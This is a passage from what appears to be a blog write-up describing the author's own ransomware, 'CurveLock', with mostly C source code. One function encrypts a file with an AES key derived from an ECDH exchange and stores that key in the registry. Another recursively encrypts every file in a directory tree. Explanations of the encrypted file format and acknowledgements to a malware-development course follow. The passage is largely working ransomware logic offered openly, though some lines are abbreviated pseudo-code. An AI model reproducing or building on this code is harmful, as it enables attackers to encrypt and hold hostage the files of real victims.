GENERIC_READ|WRITE, FILE_FLAG_DELETE_ON_CLOSE, …);
// 5. Read entire source into memory
dwFileSize = GetFileSize(hSrc);
buf = LocalAlloc(..., dwFileSize);
ReadFile(hSrc, buf, dwFileSize, &bytesRead, NULL);
// 6. Check signature to avoid re-encryption
if (*(ULONG*)buf == ENC_FILE_SIGNATURE) {
printf("[!] File Already Encrypted\n");
goto End;
}
// 7. ECDH key exchange
srand(time(NULL));
na = rand()%150+1; nb = rand()%150+1;
Pa = pointMultiply(alpha, na);
Pb = pointMultiply(alpha, nb);
Sa = pointMultiply(Pb, na);
Sb = pointMultiply(Pa, nb);
if (Sa.x!=Sb.x || Sa.y!=Sb.y) {
printf("[!] ECDH failed\n");
goto End;
}
// 8. Derive AES key = SHA256(str(Sa.x)+str(Sa.y))
BYTE sharedSecret[64];
snprintf((char*)sharedSecret, sizeof(sharedSecret),
"%d%d", Sa.x, Sa.y);
BCryptHash(..., sharedSecret, sizeof(sharedSecret),
pbKey, AES_KEY_SIZE);
// 9. Store key in registry under "CurveLock_<fileIndex>"
WriteShellcodeToRegistry(pbKey, AES_KEY_SIZE, regKeyName);
// 10. Encrypt file in memory
cbEncrypted = dwFileSize + AES_BLOCK_SIZE;
Aes256EncryptBuffer(pbKey, pbIV, buf, dwFileSize,
encBuf + headerSize, &cbEncrypted);
// 11. Prepend header (signature + IV)
header.Signature = "CVLK";
memcpy(encBuf, &header, sizeof(header));
totalSize = cbEncrypted + sizeof(header);
// 12. Write encrypted buffer to dest, flush & close
WriteFile(hDest, encBuf, totalSize, &bytesWritten, NULL);
FlushFileBuffers(hDest);
SetEndOfFile(hDest);
bResult = TRUE;
End:
// Cleanup handles, frees, return result
return bResult;
}
Signature Check: Avoids encrypting files that already start with
'CVLK'
.ECDH Exchange: Generates two random scalars, computes shared point, hashes it to derive the AES key.
Registry Key: Persists each key under
"CurveLock_<index>"
.Binary Format:
cssCopyEdit[4-byte “CVLK”][16-byte IV][ciphertext…]
7. EncryptFilesInGivenDir
EncryptFilesInGivenDir
BOOL EncryptFilesInGivenDir(IN LPCWSTR szDirectoryPath, int* fileIndex) {
WCHAR szPattern[MAX_PATH], szFullPath[MAX_PATH];
WIN32_FIND_DATAW data;
HANDLE hFind = FindFirstFileW(pattern, &data);
do {
if (is “.” or “..”) continue;
swprintf_s(fullpath, L"%s\\%s", szDirectoryPath, data.cFileName);
if (data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
// Recurse into subdirectory
EncryptFilesInGivenDir(fullpath, fileIndex);
} else {
// Encrypt the single file
printf("> Encrypting File: %ws … ", fullpath);
ReplaceWithEncryptedFile(fullpath, (*fileIndex)++);
printf("[+] DONE\n");
}
} while (FindNextFileW(hFind, &data));
FindClose(hFind);
return TRUE;
}
Purpose: Recursively traverses a directory tree starting at
szDirectoryPath
.Behavior:
Builds a wildcard (
“<dir>\*”
).For each entry:
Skips
"."
/".."
.If it’s a directory, recurse.
Otherwise, calls
ReplaceWithEncryptedFile
and increments*fileIndex
.
Result: Encrypts all non-blacklisted files under the path.
Results
CurveLock





Payload




Acknowledgements
I thank Maldev-Academy for providing me with knowledge to build this malware. I would also like to thank notsoshant and Fortra for DCSyncer and CVE-2024-6769 POC respectively.
Last updated